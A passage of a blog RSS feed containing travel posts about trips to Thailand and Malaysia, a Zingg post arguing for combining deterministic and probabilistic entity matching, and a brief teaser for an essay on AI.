I was at my hostel, but I was still not sure if I was at the correct place. There was no reception in sight, but only a staircase. In the meanwhile, I bumped into Fletcher, which gave me a sigh of relief. Adjacent to the property was a hairdresser who helped us get into the hostel. This was my first time checking in to a hostel without a reception. It seemed like a shared room without service. After some time, we went outside and bought a SIM card for me at a 7-Eleven store. The cost was 399 Baht for 7 day unlimited internet.
Next day, we went to Pattaya Tiger Park where you can go inside the tiger’s cage and touch the tiger. Then we went to the nearby Floating Market but decided against going inside after reviewing ticket prices which were higher than we deemed worthwhile. After this, we walked towards the Jomtien beach, but I planned to hitchhike as it was very sunny, and our drinking water supply was getting depleted. A few cars passed by without responding, but a scooty stopped and picked us up. Initially, I thought he would let only one of us ride, but to my surprise he let both of us on it. During the ride, he told us he is from Delhi and dropped us at walking distance from the bus station where Fletcher had to board his bus for Bangkok.

      
A welcome sign at Pattaya Floating market.

      
Jomtien Beach in Pattaya.
In the evening, I went to a shop which was selling fruits like guavas, dragon fruits, mangoes. I sampled guavas, which I found tasty and got mangoes and dragon fruits packed for eating later, and they were yummy.
Bangkok
Next day, on 9th Feb, I left for Bangkok, taking the bus at the bus station where the bus from Suvarnabhumi Airport dropped me the other day. I reached the airport in 2 hours and boarded a metro train from there to Huai Khwang, followed by walking to my hotel. This hotel room costed 5600 INR for four days for a double bed. In Bangkok too, I found abundance of convenience stores like 7-Eleven, similar to Pattaya and Kuala Lumpur. I had difficulty finding vegetarian food and labels were in Thai language, and the staff didn’t know English.

      
A board showing coffee menu at a 7-Eleven store along with rates in Pattaya.

      
In this section of 7-Eleven, you can buy a premix coffee and mix it with hot water provided at the store to prepare.
Next day, on 10th Feb 2024 was Chinese New year. I didn’t see a lot of celebrations in my area, but I saw celebratory programs and discount sales while I was in Kuala Lumpur, a few days before the Chinese New Year. In terms of food, I mainly relied on fruits. The pineapples were different from what I have seen in India, and this was the first time I saw banana flesh yellow. I tried Korean vegetable noodles, which were good. Another option was eating bread and cheese from the 7-Eleven. I also tried some Indian food like Chhole Kulche at Sukhumvit and some paneer dish at Ratchada Night market.

      
Banana with yellow flesh

      
Fruits at a stall in Bangkok

      
Trimmed pineapples from Thailand.

      
Corn in Bangkok.

      
This Korean Vegetasty noodles pack was yummy and was available at many 7-Eleven stores.
I explored malls in Siam and explored the area around Sukhumvit. The highlight of my Bangkok trip was the Chao Phraya Express Boat, which sails on the Chao Phraya River and covers some important tourist destinations of Bangkok. I took the all day river pass for the boat for 150 Thai Baht, which allows you to hop on and off any boat at any station for the day, only to realize later that it would have been better to buy respective station tickets to reduce the costs. I highly recommend taking the boat ride as it offers stunning views of the city. I went to Wat Arun, a famous Buddhist temple and a major tourist attraction. Upon entering the temple after buying the ticket, they stamped my hand ;)  Following this, I took a boat to the famous Khao San Road, which is famous for cheap accommodations and food stalls.

      
Wat Arun temple stamps your hand upon entry

      
Wat Arun temple

      
Khao San Road

      
A food stall at Khao San Road

      
Chao Phraya Express Boat
I had booked a flight from Bangkok to Delhi with Air India, and during the flight, they were serving alcohol onboard. I decided to try red wine, marking my first experience of consuming alcohol while flying.

      
Red wine being served in Air India
Notes
There are many malls in Bangkok and you can easily find toilets/restrooms, which can help to avoid paying for using washrooms.
Compared to Malaysia, I found Thailand more expensive, contrary to expectations. In addition, shopping in Malaysia was quite cheap due to Chinese New Year discounts, which I didn’t see in Thailand.
I liked Pattaya more than Bangkok, mainly due to Pattaya having a nice beach and I could engage with locals and foreigners. Perhaps booking a hostel instead of a hotel in Bangkok would have given more opportunities to engage with people.]]></description>
            <content:encoded><![CDATA[<h2 id="arrival">Arrival</h2>
<p>I was staying at a hostel in Bukit Bintang, a shopping hub and entertainment center of Kuala Lumpur, which was like 200 metres from the monorail station, where I took a metro train for KL Sentral. Then I took a bus from KL Sentral to the airport, followed by taking a Malaysian Airlines flight to Bangkok. Meals were included without any extra charge.</p>
<p>The flight took around 2 hours, landing in Bangkok&rsquo;s Suvarnabhumi Airport at around 15:00 hours local time. My friend Fletcher was leaving for Pattaya from Bangkok, which is about 150 km and 2 hours bus ride, but takes a longer time from within the Bangkok city compared to Suvarnabhumi Airport due to the traffic in Bangkok. We had planned to meet in Pattaya and had already booked a hostel there. At the bus counter, I came to know that buses leave for Pattaya every hour. However, the next bus for which tickets were available was at scheduled to leave at 19:00 hours.</p>
<p>The ticket cost was 143 Thai Baht (360 Indian Rupees) per seat. This left me with a couple of hours at the airport, which I spent charging my phone, exploring shops and eating snacks which I had packed. As I had one week to spend in Thailand, buying a SIM card was essential to have internet access on the go. The internet plans I checked at the airport were expensive compared to Kuala Lumpur, so I didn&rsquo;t buy a SIM card from there, leaving me with no way to coordinate with Fletcher.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/a-welcome-sign-at-suvarnabhumi-airport.avif" width="300"><figcaption>
      <h4>Welcome sign at Bangkok&#39;s Suvarnabhumi airport.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/suvarnabhumi-bus.avif" width="300"><figcaption>
      <h4>Bus from Suvarnabhumi Airport to Jomtien Beach in Pattaya.</h4>
    </figcaption>
</figure>

<h2 id="pattaya">Pattaya</h2>
<p>My bus left airport at 7 PM and dropped me at the last stop named Jomtien beach in Pattaya at around 9 PM. The bus journey was smooth, thanks to good roads and lack of traffic jam. I used OsmAnd app for navigation and decided to walk to my hostel as it was around 1 km away. While walking, I noticed Cannabis bars on the street side and ubiquitous massage parlors, not to mention the street prostitutes vying for your attention.</p>
<p>After some time, I realized that the address mentioned on the hostel receipt was different from the one OpenStreetMap was showing, leading me to ask a person sitting at a café for help. That person agreed to help me and took me to the exact place where the hostel was. On the way, he told me he was originally from Kuwait but lived in Pattaya for many years. He also told me about the shared hail-and-ride cheap songthaew rides which ran along the Jomtien Beach, charging 10 Baht (25 Rupees) for any distance along that route, making our trip cost-effective.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/songthaew.avif" width="300"><figcaption>
      <h4>Photo of a songthaew in Pattaya. These songthaews run along Jomtien Second road and take 10 Thai Baht to anywhere on the route.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/jomtien-second-road.avif" width="300"><figcaption>
      <h4>Road near Jomtien beach in Pattaya</h4>
    </figcaption>
</figure>

<p>I was at my hostel, but I was still not sure if I was at the correct place. There was no reception in sight, but only a staircase. In the meanwhile, I bumped into Fletcher, which gave me a sigh of relief. Adjacent to the property was a hairdresser who helped us get into the hostel. This was my first time checking in to a hostel without a reception. It seemed like a shared room without service. After some time, we went outside and bought a SIM card for me at a 7-Eleven store. The cost was 399 Baht for 7 day unlimited internet.</p>
<p>Next day, we went to Pattaya Tiger Park where you can go inside the tiger&rsquo;s cage and touch the tiger. Then we went to the nearby Floating Market but decided against going inside after reviewing ticket prices which were higher than we deemed worthwhile. After this, we walked towards the Jomtien beach, but I planned to hitchhike as it was very sunny, and our drinking water supply was getting depleted. A few cars passed by without responding, but a scooty stopped and picked us up. Initially, I thought he would let only one of us ride, but to my surprise he let both of us on it. During the ride, he told us he is from Delhi and dropped us at walking distance from the bus station where Fletcher had to board his bus for Bangkok.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/a-welcome-sign-at-Pattaya-floating-market.avif" width="300"><figcaption>
      <h4>A welcome sign at Pattaya Floating market.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/jomtien-beach.avif" width="300"><figcaption>
      <h4>Jomtien Beach in Pattaya.</h4>
    </figcaption>
</figure>

<p>In the evening, I went to a shop which was selling fruits like guavas, dragon fruits, mangoes. I sampled guavas, which I found tasty and got mangoes and dragon fruits packed for eating later, and they were yummy.</p>
<h2 id="bangkok">Bangkok</h2>
<p>Next day, on 9th Feb, I left for Bangkok, taking the bus at the bus station where the bus from Suvarnabhumi Airport dropped me the other day. I reached the airport in 2 hours and boarded a metro train from there to <a href="https://en.wikipedia.org/wiki/Huai_Khwang_MRT_station">Huai Khwang</a>, followed by walking to my hotel. This hotel room costed 5600 INR for four days for a double bed. In Bangkok too, I found abundance of convenience stores like 7-Eleven, similar to Pattaya and Kuala Lumpur. I had difficulty finding vegetarian food and labels were in Thai language, and the staff didn&rsquo;t know English.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/coffee-options-at-7-eleven.avif" width="300"><figcaption>
      <h4>A board showing coffee menu at a 7-Eleven store along with rates in Pattaya.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/premix-coffee-packets-at-7-eleven.avif" width="300"><figcaption>
      <h4>In this section of 7-Eleven, you can buy a premix coffee and mix it with hot water provided at the store to prepare.</h4>
    </figcaption>
</figure>

<p>Next day, on 10th Feb 2024 was Chinese New year. I didn&rsquo;t see a lot of celebrations in my area, but I saw celebratory programs and discount sales while I was in Kuala Lumpur, a few days before the Chinese New Year. In terms of food, I mainly relied on fruits. The pineapples were different from what I have seen in India, and this was the first time I saw banana flesh yellow. I tried Korean vegetable noodles, which were good. Another option was eating bread and cheese from the 7-Eleven. I also tried some Indian food like Chhole Kulche at Sukhumvit and some paneer dish at Ratchada Night market.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/thailand-banana.avif" width="300"><figcaption>
      <h4>Banana with yellow flesh</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/fruits-at-a-stall-in-thailand.avif" width="300"><figcaption>
      <h4>Fruits at a stall in Bangkok</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/pineapples-from-thailand.avif" width="300"><figcaption>
      <h4>Trimmed pineapples from Thailand.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/corn.avif" width="300"><figcaption>
      <h4>Corn in Bangkok.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/vegetasty.avif" width="300"><figcaption>
      <h4>This Korean Vegetasty noodles pack was yummy and was available at many 7-Eleven stores.</h4>
    </figcaption>
</figure>

<p>I explored malls in Siam and explored the area around Sukhumvit. The highlight of my Bangkok trip was the Chao Phraya Express Boat, which sails on the Chao Phraya River and covers some important tourist destinations of Bangkok. I took the all day river pass for the boat for 150 Thai Baht, which allows you to hop on and off any boat at any station for the day, only to realize later that it would have been better to buy respective station tickets to reduce the costs. I highly recommend taking the boat ride as it offers stunning views of the city. I went to Wat Arun, a famous Buddhist temple and a major tourist attraction. Upon entering the temple after buying the ticket, they stamped my hand ;)  Following this, I took a boat to the famous Khao San Road, which is famous for cheap accommodations and food stalls.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/wat-arun-stamp.avif" width="300"><figcaption>
      <h4>Wat Arun temple stamps your hand upon entry</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/wat-arun.avif" width="300"><figcaption>
      <h4>Wat Arun temple</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/khao-san-road.avif" width="300"><figcaption>
      <h4>Khao San Road</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/a-food-stall-at-khao-san-road.avif" width="300"><figcaption>
      <h4>A food stall at Khao San Road</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/chao-phraya-boat.avif" width="300"><figcaption>
      <h4>Chao Phraya Express Boat</h4>
    </figcaption>
</figure>

<p>I had booked a flight from Bangkok to Delhi with Air India, and during the flight, they were serving alcohol onboard. I decided to try red wine, marking my first experience of consuming alcohol while flying.</p>
<figure><img src="https://ravidwivedi.in/images/malaysia-thailand/red-wine-in-air-india.avif" width="300"><figcaption>
      <h4>Red wine being served in Air India</h4>
    </figcaption>
</figure>

<h2 id="notes">Notes</h2>
<ul>
<li>
<p>There are many malls in Bangkok and you can easily find toilets/restrooms, which can help to avoid paying for using washrooms.</p>
</li>
<li>
<p>Compared to Malaysia, I found Thailand more expensive, contrary to expectations. In addition, shopping in Malaysia was quite cheap due to Chinese New Year discounts, which I didn&rsquo;t see in Thailand.</p>
</li>
<li>
<p>I liked Pattaya more than Bangkok, mainly due to Pattaya having a nice beach and I could engage with locals and foreigners. Perhaps booking a hostel instead of a hotel in Bangkok would have given more opportunities to engage with people.</p>
</li>
</ul>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Deterministic Matching Vs Probabilistic Matching]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/deterministic-matching-vs-probabilistic</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/deterministic-matching-vs-probabilistic</guid>
            <pubDate>Sat, 16 Mar 2024 14:09:14 GMT</pubDate>
            <description><![CDATA[Why not both together at the same time?]]></description>
            <content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CVPk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CVPk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 424w, https://substackcdn.com/image/fetch/$s_!CVPk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 848w, https://substackcdn.com/image/fetch/$s_!CVPk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 1272w, https://substackcdn.com/image/fetch/$s_!CVPk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CVPk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512" width="512" height="512" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fb8fc6f8-41d5-4170-8e98-af269b279d05_800x512&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:512,&quot;width&quot;:512,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CVPk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 424w, https://substackcdn.com/image/fetch/$s_!CVPk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 848w, https://substackcdn.com/image/fetch/$s_!CVPk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 1272w, https://substackcdn.com/image/fetch/$s_!CVPk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"></figcaption></figure></div><p>In the entity resolution space, we refer to exact matching on attributes as deterministic matching. If the application systems are consistently collecting and persisting trusted and known identifiers like Social Security Number, deterministic matching can help to resolve such records and help us identify the true individual. </p><p>In most real world systems, data in different systems in an organisation has different attributes. Let us imagine a retail store with both online and offline presence. A web support system would capture the email correctly while also logging name, a call centre would mostly have a correct phone number but other details may not be as reliable. The offline store would have some or all of the details, as accurately as the human behind the computer tasked with entering them can type it in. Thus some of the individual records have identifiers, like phone and email in the above case, which may match exactly, while many of the records have names and addresses with all kinds of variations, typos, abbreviations etc. Assessing the extent of such variations for an entity and reconciling the fuzzy and inexact matches is known as Probabilistic Matching.</p><p>At a simplistic level, one can think of deterministic matching as a database join on trusted id columns like passport number or email. Probabilistic Matching involves statistical and ML based techniques to determine if a given record pair is indeed the same real world entity. If we search these terms, there are multiple articles around Deterministic Vs Probabilistic Matching, pitting one against the other. Since the approaches to solve deterministic matching are very different from the ones for probabilistic matching, these techniques are often viewed as contrary. </p><p>However, we have a different view.</p><p>As we dived deeper and looked at multiple datasets, we saw that in most cases, data contained multiple signals, some with trusted identifiers and most times without. Even when there are identifiers, they tend to be more than one. For example one system could have driver&#8217;s license id mandatory and passport number optional. While another system could have the mandatory rule reversed. A third system may have both of these ids as optional. If we match deterministically on passport and license in this case, we would only resolve some entities, not all. Worse, a person who has provided license id in the third system would only match with the first, and the record in the second system would go unmatched. </p><p>This has serious ramifications. In an ecommerce store, the inability to reconcile effectively would jeopardize the million dollar investment in recommender systems that consume the customer preferences. In an anti money laundering system, the ability to catch fraud is directly proportional to the quality of the matching. An insurer can not understand risk at a household or person level if records remain unresolved. </p><p>Thus, we need to solve for both determinstic and probabilistic matching <strong>at the same time</strong>. An either/or approach with respect to deterministic and probabilistic matching would lead to identifying records with identifiers as a different entity than those without. Why not use every single data point of the record? There is tremendous value to be unlocked by looking at the problem holistically. If a deterministic match can be found, use that. If not, use the other attributes. Essentially, weave them all together holistically to ensure that the probabilistic and deterministic matching records are resolved to a single entity. </p><p>The above is a simplistic take and there is a lot of software engineering involved under the hood to build this out. Effort nothwithstanding, we are convinced that it is the right approach. In fact we have gone all out while building this feature, with support for multiple combinations of attributes to make sure no record which has a match remains unmatched. Determistic and probabilistic matching are better together, and early Zingg Enterprise customers see an immediate jump in match accuracy. </p><p>Is this something you care about too? Hit a reply and lets spark a conversation!    </p><p></p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!CVPk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512" length="0" type="image/com%2Fpublic%2Fimages%2Ffb8fc6f8-41d5-4170-8e98-af269b279d05_800x512"/>
        </item>
        <item>
            <title><![CDATA[Halting AI]]></title>
            <link>https://www.evalapply.org/posts/halting-ai/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/halting-ai/index.html</guid>
            <pubDate>Wed, 13 Mar 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The current wave of AI tools is incredibly cool. I hope more people get distracted by the incredible coolness and bet on this wave of AI, because I'm betting the other way, on the hot mess of human general intelligence.]]></description>
            <content:encoded><![CDATA[The current wave of AI tools is incredibly cool. I hope more people get distracted by the incredible coolness and bet on this wave of AI, because I'm betting the other way, on the hot mess of human general intelligence.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>riff</category>
            <category>ai</category>
            <category>intelligence_augmentation</category>
            <category>tools_for_thought</category>
        </item>
        <item>
            <title><![CDATA[Malaysia Trip]]></title>
            <link>https://ravidwivedi.in/posts/malaysia-trip/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/malaysia-trip/</guid>
            <pubDate>Sat, 02 Mar 2024 13:59:59 GMT</pubDate>
            <description><![CDATA[Introduction
In January of this year, my friend Snehal invited me to Vienna, Austria, but our plans were thwarted when Austria refused me a visa. So, I thought about traveling to a country that does not require a visa, and a few candidates came to mind, one of them being Malaysia which had recently waived visa requirements for Indian tourists. I also included Thailand, as it was visa-free, near to Malaysia, and is one of the most popular tourist destinations in the world.
I booked an AirAsia flight from Delhi, India, to Kuala Lumpur, Malaysia; a Malaysia Airlines flight from Kuala Lumpur to Bangkok; and an Air India ticket from Kuala Lumpur to Delhi.
Boarding from the Delhi Airport
On the 31st of January, before boarding my flight to Kuala Lumpur, I went to the AirAsia counter to obtain my boarding pass. During this process, the airline staff asked me a range of questions, from the usual - such as my purpose of visit, hotel bookings, and return ticket - to the ridiculous, including requests for invoices of hotel bookings, email confirmations of my return ticket, and the amount of currency I was carrying.
I didn’t have the invoices of my bookings as I didn’t pay for them in advance except for the first night, nor could I find the confirmation email by Air India. I was afraid that the airline staff might not give me the boarding pass, which is required to board the flight. I never had such experiences at airports in other countries.
Then I passed through the immigration where I was asked sensible questions such as my country of visit and return tickets.  Following this, I went through security check, and proceeded to the flight’s boarding gate. Unfortunately, my flight was delayed by three hours. Even though AirAsia is a budget airline, I was surprised to find out that drinking water inside the plane was not free-of-cost, only hot drinking water was. It was a direct flight, which took 5 hours to reach Kuala Lumpur. I landed at Kuala Lumpur’s KLIA2 airport at around 09:00 hours local time (which is 2 hours 30 minutes ahead of Indian time) on the 1st of Feb.
Day 1: Arrival in Kuala Lumpur
After arrival at the Kuala Lumpur airport, I went through immigration where I was asked my purpose of visit, number of people accompanying me, number of days of stay, return/onward tickets and hotel bookings.

      
Kuala Lumpur International Airport.
I had filled Malaysia Digital Arrival Card a day before my flight’s scheduled departure as per my travel agent’s advice, though the immigration officer didn’t ask for it. The immigration officer stamped my passport, after which I went through custom clearance. After clearing customs, I roamed around the airport and checked out SIM and internet plans, without buying.

      
Malaysian entry stamp on my passport.
Malaysia’s currency is the Malaysian ringgit, abbreviated as MYR. One MYR was equivalent to 18 Indian Rupees (INR). I exchanged Malaysian ringgit at a money exchange in my hometown.
My stay was booked at a hostel called Travel Hub Guesthouse in the Chinatown area of Kuala Lumpur, which was within walking distance of the Pasar Seni metro station, known as LRT station in local jargon. Every booking included a MYR 10 tourism tax per night. The hostel stay was 26.71 MYR plus 10 MYR (taxes), adding up to a total of 36.71 MYR (660 INR) per night.
KL Sentral serves as the city center and is located about 50 km from the airport. The rapid train from the airport to KL Sentral costs 55 MYR (approximately 1,000 INR), which I found to be quite expensive. Instead, I opted for the bus, which was a more economical choice at 15 MYR (approximately 270 INR). The bus took about an hour to reach KL Sentral and had comfortable seats. The well-maintained roads made my overall journey smooth and offered a glimpse of Kuala Lumpur city.

      
Interior view of the bus.
As soon as I checked in and entered my room, I met an Indian named Fletcher, who was also a tourist, and been in Kuala Lumpur for a couple of days, was planning to visit the National Museum and I joined him out of excitement for exploration, even though I was too tired after such a long trip and wanted to rest instead.

      
LRT at KL Sentral.

      
Entrance of Pasar Seni LRT station

      
Room inside Travel Hub Guesthouse.
In the evening, I visited the National Museum (ticket was 5 MYR, equivalent to 90 INR) with Fletcher, and explored Little India, which had abundance of Indian food restaurants, especially by Tamils, making vegetarian food easily available. I came across a stall where I drank masala tea and sampled Mee Goreng. A quick search on the internet revealed that Mee Goreng is a dish unique to Indian immigrants in Malaysia and neighboring countries, but not found in India!

      
Board welcoming us to Little India

      
Mee Goreng, a dish made of noodles in Malaysia.
Day 2: Visiting Batu Caves and Petronas Towers
To stay with Fletcher, I extended my stay at the same hostel for one night. The next day (February 2nd), Fletcher went on a day trip to the Genting Highlands. Although I planned to join him, I couldn’t because his bus had no available bookings when we reached the KL Sentral station the next day. I noticed that at the KL Sentral station, bus tickets need to be paid for using a card or can be booked online through websites like RedBus. They had a cash option at the KL airport, but not at KL Sentral.
I took the opportunity to buy a local SIM card from the company CelcomDigi at the KL Sentral station for MYR 10, which included 5G internet up to 5 GB of usage. However, making calls required a recharge of MYR 5, which I didn’t include. At the bus ticket counter, I met a family from Delhi and joined them for a day trip to Batu Caves, which is a cave complex located on the outskirts of Kuala Lumpur.
To reach Batu Caves, we took the KTM Komuter train from KL Sentral station, which costs MYR 5.2 for a return journey. The train takes around 40 minutes to reach Batu Caves. Upon reaching there, we could immediately see the shrine of Murugan outside the Batu Caves. There were stairs leading to the caves. In order to take the stairs to the caves, make sure you cover your knees and shoulders. A woman from the family I went with was wearing shorts, so she had to buy a scarf worth MYR 15 to cover her knees for the entry. After climbing the stairs, we went inside the Temple Cave. This particular cave doesn’t have an entry fee, however some other caves (for example, the Ramayana Cave) have an entry fee. I didn’t go to the Ramayana Cave because I didn’t know about it.

      
KTM Komuter train

      
Murugan statue outside of Batu Caves.

      
View from the top after climbing all the stairs.

      
Temple inside the cave.
The temperature inside the cave was cooler. We spent some time resting inside the cave. After we were done, we returned to KL Sentral, and went our separate ways. I came back to hostel and rested for some time.
My trip to Kuala Lumpur would be incomplete without a photo at the iconic Petronas Towers, which was my next destination. To get there from my hostel, I took the LRT to KLCC station and then walked to the photo point of the Petronas Towers, where I asked an Indonesian tourist for help in taking my pictures.

      
Me at Petronas Towers.
After roaming around at Petronas Towers, I gave a phone call to Fletcher who was on his way back to KL Sentral and we decided to meet there. We went to the same stall we had Mee Goreng the previous day and ordered Ghee Roast Dosa this time. We also had nice conversations with a family having Malaysian citizenship with Indian ancestry. Then, we went to another place to eat Roti Canai, which I had with dal. Interestingly, Roti Canai is another dish popularized by Indian immigrants in Southeast Asia, but it is not popular in India.

      
Photo with Malaysians.
Day 3: Berjaya Times Square and Bukit Bintang
For the third day (3rd Feb), I could not extend my hostel booking as it was fully booked due to weekend. So, I booked another hostel by the name of The Manor by Mingle for two nights, 1 km far from my previous hostel, which was MYR 99.34 (1800 INR) for two nights, including MYR 10 tourism fee per night. This was expensive compared to other hostels I stayed in this trip, probably due to weekend. It had a swimming pool, which was of no use to me. Further, it also had laundry services, which I used. The charges were MYR 5 for washing, while MYR 3 for the dryer.
After checking-in and keeping my luggage into my room, I and Fletcher went to nearby shopping mall Berjaya Times Square, which was decorated in celebrations of the upcoming Chinese New Year on 8th Feb, due to which prices were greatly discounted. After roaming around and a bit of shopping, we went back to our respective hostels to take rest. At night, we went to Bukit Bintang, which is known for its nightlife and called the entertainment hub of the city.

      
Berjaya Times Square dipped in Chinese New Year celebrations.
Day 4: Genting Highlands
On the 4th of Feb, I took a solo day trip to Genting Highlands, a hill station located on the outskirts of Kuala Lumpur. To reach there, I took a bus from KL Sentral (return ticket was MYR 20), which dropped me at the bus terminal below Awana Skyway cable car station. I took a cable car to reach Genting Highlands from there (MYR 18 for a return ticket), which passes through misty air along with stunning views. I roamed around and did some shopping, buying three T-Shirts for myself. Furthermore, I also sampled Paneer Makhani with naan for MYR 41.8 at a restaurant.

      
Views from cable car.

      
Views from cable car.

      
I ordered Paneer Makhani with naan at a restaurant in Genting Highlands.
There was not much to do here for me, as this place was popular for being the only legal place to gamble in Malaysia, nothing of my interest. Although the cable car ride had scenic views, I don’t think Genting Highlands was worth visiting. Sure, it’s a good place for a day trip from KL, but I had more time and should have instead gone to some other place like Cameron Highlands. Genting Highlands is for people staying for a couple of days in KL who don’t want to visit far-off places. I think my decision to visit Genting Highlands was a case of falling into the trap of herd mentality, as when I went to the bus counter a couple of days ago, I saw a big queue for Genting Highlands, which was the basis of my decision.
I took the return cable car to reach the bus terminal, from where I took the bus for KL Sentral. Then I went to meet Fletcher, who was leaving for Bangkok. We later met in Pattaya, Thailand, after a few days, which will be covered in the next post.
Days 5 and 6
Since the hostel Manor by Mingle was a bit expensive, I booked a cheaper hostel for last two nights in Bukit Bintang. I didn’t really do much on last two days. I roamed around and added some places on the OpenStreetMap. As I was living in Bukit Bintang, I bought some souveniers from there and tried a middle-eastern dessert named Kunafa, which was yummy. I also discovered a shop named ‘I Love KL Gifts’ which had souvenirs at a great price.

      
